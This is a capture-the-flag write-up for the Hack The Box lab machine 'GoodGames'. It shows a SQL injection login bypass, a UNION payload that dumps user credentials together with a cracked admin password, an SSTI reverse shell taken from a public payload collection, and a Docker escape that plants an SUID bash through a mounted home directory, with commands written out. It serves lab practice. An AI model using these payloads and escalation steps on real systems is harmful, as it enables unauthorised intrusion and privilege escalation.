Enumeration
IP-ADDR: 10.10.11.130 goodGames.htb
nmap scan:
1
2
3
4
PORT STATE SERVICE VERSION
80/tcp open ssl/http Werkzeug/2.0.2 Python/3.9.2
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
- Hostname:
GoodGames.HTB
A normal looking web app talking about video games
There is a option for signup/login
There is really simple sql injection in email parameter to bypass login and get admin
After login, there is a extra settings icon in top right corner which redirect to a subdomain internal-administration.goodgames.htb
Another login page form subdomain
Foothold
SQLi
back to the login sql injection, There’s a reflected field in login
Dump database
- database_name: main
- table: user
- column: id,email,password,name
1
' UNION SELECT ALL 1,2,3,group_concat(id,":",email,":",password,":",name) from main.user#
password cracked with john using rockyou.txt
1
1:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec:admin:superadministrator
And these creds reuse in subdomain Flask Dashboard
SSTI
In the volt dashboard, found SSTI(Server-Side Template Injection) in /settings
reflected in the user’s profile name
- From nmap scan, this is a Python server so template framework is possibly jinja2.
Payload form PayloadsAllTheThings
Get reverse shell with payload
Get root shell inside docker container.
Privesc
Docker escape
Running deepce.sh script, find host mounts
1
2
3
4
5
====================================( Enumerating Mounts )====================================
[+] Docker sock mounted ....... No
[+] Other mounts .............. Yes
/home/augustus /home/augustus rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro
[+] Possible host usernames ... augustus rw,relatime - ext4
/home/augustus
directory contains user flag and user augustus
in not in the docker container.
Host is reachable from container and running ssh
ssh to host using reused password superadministrator
for user “augustus”
Host mount inside docker
We know that /home/augustus
mounted in the container and we are root in the container.
That means we can create any file or edit any file inside /home/augustus
directory as root.
just copy host bash binary in user’s directory and give suid permission as root from container.
1
2
3
4
5
6
augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ exit
root@3a453ab39d3d:/home/augustus$ chown root:root bash
root@3a453ab39d3d:/home/augustus$ chmod +s bash
root@3a453ab39d3d:/home/augustus$ ssh augustus@172.19.0.1
augustus@GoodGames:~$ ./bash -p